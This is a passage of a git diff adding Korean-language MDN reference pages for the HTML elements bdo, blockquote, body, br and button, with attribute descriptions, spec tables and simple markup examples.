+  - 쓰기 방향
+translation_of: Web/HTML/Element/bdo
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;bdo&gt;</code> 요소</strong>는 현재 텍스트의 쓰기 방향을 덮어쓰고 다른 방향으로 렌더링 할 때 사용합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/bdo.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>요소 콘텐츠의 텍스트 쓰기 방향. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>ltr</code>: 텍스트를 왼쪽에서 오른쪽으로 써야 함을 나타냅니다.</li>
+  <li><code>rtl</code>: 텍스트를 오른쪽에서 왼쪽으로 써야 함을 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- 쓰기 방향 바꾸기 --&gt;
+&lt;p&gt;이 글은 왼쪽에서 오른쪽으로 작성합니다.&lt;/p&gt;
+&lt;p&gt;&lt;bdo dir="rtl"&gt;이 글은 오른쪽에서 왼쪽으로 작성합니다.&lt;/bdo&gt;&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'dirlang.html#h-8.2.4', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.bdo")}}</p>
diff --git a/files/ko/web/html/element/blockquote/index.html b/files/ko/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..d5392594f4
--- /dev/null
+++ b/files/ko/web/html/element/blockquote/index.html
@@ -0,0 +1,131 @@
+---
+title: '<blockquote>: 인용 블록 요소'
+slug: Web/HTML/Element/blockquote
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - 'HTML:Flow content'
+  - Reference
+  - Web
+  - 인용
+translation_of: Web/HTML/Element/blockquote
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;blockquote&gt;</code> 요소</strong>는 안쪽의 텍스트가 긴 인용문임을 나타냅니다. 주로 들여쓰기를 한 것으로 그려집니다. (외형을 바꾸는 법은 {{anch("사용 일람")}}을 참고하세요) 인용문의 출처 URL은 {{htmlattrxref("cite", "blockquote")}} 특성으로, 출처 텍스트는 {{htmlelement("cite")}} 요소로 제공할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>인용문의 출처 문서나 메시지를 가리키는 URL. 인용문의 맥락 혹은 출처 정보를 가리킬 용도입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>인용문의 들여쓰기를 바꾸려면 {{glossary("CSS")}} {{cssxref("margin-left")}}와 {{cssxref("margin-right")}}, 혹은 {{cssxref("margin")}} 단축 속성을 사용하세요.</p>
+
+<p>별도의 블록을 쓰지 않아도 될 짧은 인용문은 {{htmlelement("q")}} 요소를 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>&lt;blockquote&gt;</code> 요소를 사용해 {{RFC(1149)}} <cite>A Standard for the Transmission of IP Datagrams on Avian Carriers의 문단을 인용합니다.</cite></p>
+
+<pre class="brush: html">&lt;blockquote cite="https://tools.ietf.org/html/rfc1149"&gt;
+  &lt;p&gt;Avian carriers can provide high delay, low
+  throughput, and low altitude service.  The
+  connection topology is limited to a single
+  point-to-point path for each carrier, used with
+  standard carriers, but many carriers can be used
+  without significant interference with each other,
+  outside of early spring.  This is because of the 3D
+  ether space available to the carriers, in contrast
+  to the 1D ether used by IEEE802.3.  The carriers
+  have an intrinsic collision avoidance system, which
+  increases availability.&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제", 640, 180)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.blockquote")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인라인 인용문을 위한 {{HTMLElement("q")}} 요소.</li>
+ <li>인용문 출처 표기를 위한 {{HTMLElement("cite")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/body/index.html b/files/ko/web/html/element/body/index.html
new file mode 100644
index 0000000000..d7d031bcb2
--- /dev/null
+++ b/files/ko/web/html/element/body/index.html
@@ -0,0 +1,166 @@
+---
+title: '<body>: 문서 본문 요소'
+slug: Web/HTML/Element/body
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/body
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;body&gt;</code> 요소</strong>는 HTML 문서의 내용을 나타냅니다. 한 문서에 하나의 <code>&lt;body&gt;</code> 요소만 존재할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Sectioning_roots">구획 루트</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>태그 내의 첫번째 것이 공백, 주석, {{HTMLElement("script")}}요소, {{HTMLElement("style")}}요소가 아닐경우 시작태그를 생략할수 있습니다. body 요소가 시작태그를 가지고있고, 바로 뒤에 주석이 따라오지 않는다면 종료 태그를 생략할수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("html")}} 요소의 두번째 요소여야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Document_Role"><code>document</code></a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLBodyElement")}}
+    <ul>
+     <li><code>&lt;body&gt;</code> 요소는 {{domxref("HTMLBodyElement")}} 인터페이스를 노출합니다.</li>
+     <li>{{domxref("document.body")}} 속성을 통해 <code>&lt;body&gt;</code> 요소에 접근할 수 있습니다.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>선택한 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":active")}}의 조합을 대신 사용하세요.</em></dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>배경 이미지의 URI. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("background")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>배경색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("background-color")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>아래쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-bottom")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>왼쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-left")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>방문하지 않은 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":link")}}의 조합을 대신 사용하세요.</em></dd>
+ <dt>{{htmlattrdef("onafterprint")}}</dt>
+ <dd>사용자가 문서를 출력한 뒤 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}}</dt>
+ <dd>사용자가 문서 출력을 요청했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}}</dt>
+ <dd>문서를 처분<sup>unload</sup>하기 직전에 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onblur")}}</dt>
+ <dd>문서가 포커스를 상실했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onerror")}}</dt>
+ <dd>문서를 제대로 불러오지 못했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onfocus")}}</dt>
+ <dd>문서가 포커스를 받을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onhashchange")}}</dt>
+ <dd>문서의 현재 주소 중 Fragment identifier part(해시(<code>'#'</code>) 문자로 시작)가 변경됐을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>선호 언어 변경 시 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onload")}}</dt>
+ <dd>문서를 다 불러왔을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onmessage")}}</dt>
+ <dd>문서가 메시지를 받았을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onoffline")}}</dt>
+ <dd>네트워크 연결이 실패했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("ononline")}}</dt>
+ <dd>네트워크 연결을 복구했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onpopstate")}}</dt>
+ <dd>사용자가 세션 기록을 따라 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onredo")}}</dt>
+ <dd>사용자가 되돌리기 변경 기록(undo transaction history)에서 다시 이후로 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onresize")}}</dt>
+ <dd>문서의 크기가 바뀔 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onstorage")}}</dt>
+ <dd>저장 영역이 변경되었을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onundo")}}</dt>
+ <dd>사용자가 되돌리기 변경 기록(undo transaction history)에서 이전으로 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onunload")}}</dt>
+ <dd>문서를 처분(unload) 중일 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>오른쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-right")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>글자의 전경색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>위쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-top")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>방문했던 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":visited")}}의 조합을 대신 사용하세요.</em></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;문서 제목&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;문단입니다&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Changed the list of non-conforming features.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Obsoleted the formerly deprecated attributes. Defined the behavior of the non-conforming and never standardized <code>margintop</code>, <code>marginleft</code>, <code>marginright</code> and <code>marginbottom</code>. Added the <code>on*</code> attributes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Deprecated the <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> and <code>vlink</code> attributes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/br/index.html b/files/ko/web/html/element/br/index.html
new file mode 100644
index 0000000000..918a0c7486
--- /dev/null
+++ b/files/ko/web/html/element/br/index.html
@@ -0,0 +1,130 @@
+---
+title: '<br>: 줄바꿈 요소'
+slug: Web/HTML/Element/br
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/br
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;br&gt;</code> 요소</strong>는 텍스트 안에 줄바꿈(캐리지 리턴)을 생성합니다. 주소나 시조 등 줄의 구분이 중요한 내용을 작성할 때 유용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/br.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위 예제에서 확인할 수 있듯, <code>&lt;br&gt;</code> 요소는 텍스트를 끊고 싶은 지점에 삽입해야 합니다. <code>&lt;br&gt;</code> 이후의 텍스트는 텍스트 블록의 다음 줄에서 다시 시작합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 문단 사이에 여백을 두기 위한 용도로 <code>&lt;br&gt;</code>을 사용하지 마세요. 대신 {{htmlelement("p")}} 요소로 감싼 후 <a href="/ko/docs/Web/CSS">CSS</a>의 {{cssxref("margin")}} 속성으로 여백의 크기를 조절하세요.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;br&gt;</code> 요소는 텍스트 블록에서 줄을 바꾼다는 하나의 명확한 목적만 가지고 있습니다. 따라서 크기도,  외형도 없으므로 스타일을 적용할 것도 거의 없습니다.</p>
+
+<p><code>&lt;br&gt;</code> 요소에 {{cssxref("margin")}}을 적용하면 줄 간격을 늘릴 수 있겠지만 좋은 방법은 아닙니다. 이런 목적을 위해 만들어진 CSS {{cssxref("line-height")}} 속성을 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("예제", "100%", "90")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>문단 구분을 <code>&lt;br&gt;</code>로 하는건 나쁜 사례일 뿐만 아니라 스크린 리더를 사용해 탐색하는 사용자에게도 문제가 됩니다. 스크린 리더가 요소의 존재는 알려주겠지만, <code>&lt;br&gt;</code>에는 아무런 내용도 없기 때문입니다. 따라서 사용자는 내용이 어딨는지 몰라 혼란을 느낄 수 있습니다.</p>
+
+<p>{{htmlelement("p")}} 요소와 함께 CSS {{cssxref("margin")}} 속성 등을 조합해 간격을 조절하세요.</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLBRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.br")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}} 요소</li>
+ <li>{{HTMLElement("p")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/button/index.html b/files/ko/web/html/element/button/index.html
new file mode 100644
index 0000000000..01f57291a9
--- /dev/null
+++ b/files/ko/web/html/element/button/index.html
@@ -0,0 +1,293 @@
+---
+title: '<button>: 버튼 요소'
+slug: Web/HTML/Element/button
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;button&gt;</code> 요소</strong>는 클릭 가능한 버튼을 나타냅니다. 버튼은 <a href="/ko/docs/Learn/HTML/Forms">양식</a> 내부는 물론 간단한 표준 버튼 기능이 필요한 곳이라면 문서 어디에나 배치할 수 있습니다.</span> 기본값의 HTML 버튼은 {{glossary("user agent", "사용자 에이전트")}}의 호스트 플랫폼과 비슷한 디자인을 따라가지만, 외형은 <a href="/ko/docs/Web/CSS">CSS</a>로 변경할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/button.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제출_가능">제출 가능</a>), 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>를 제외한 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><code><a href="/ko/docs/Web/Accessibility/ARIA/Roles/button_role">button</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("checkbox")}}, {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLButtonElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>페이지 로드 후, 이 버튼에 포커스가 위치해야 하는지 나타냅니다. 문서 내에서 <strong>하나의 요소</strong>만 <code>autofocus</code> 특성을 가질 수 있습니다.</dd>
+ <dt class="hidden">{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd class="hidden">This attribute on a {{HTMLElement("button")}} is nonstandard and Firefox-specific. Unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox persists the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Setting <code>autocomplete="off"</code> disables this feature; see {{bug(654072)}}.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>버튼과 사용자의 상호작용, 즉 누르거나 클릭하는 것을 막습니다.</p>
+
+ <p class="hidden">Firefox, unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}}</dt>
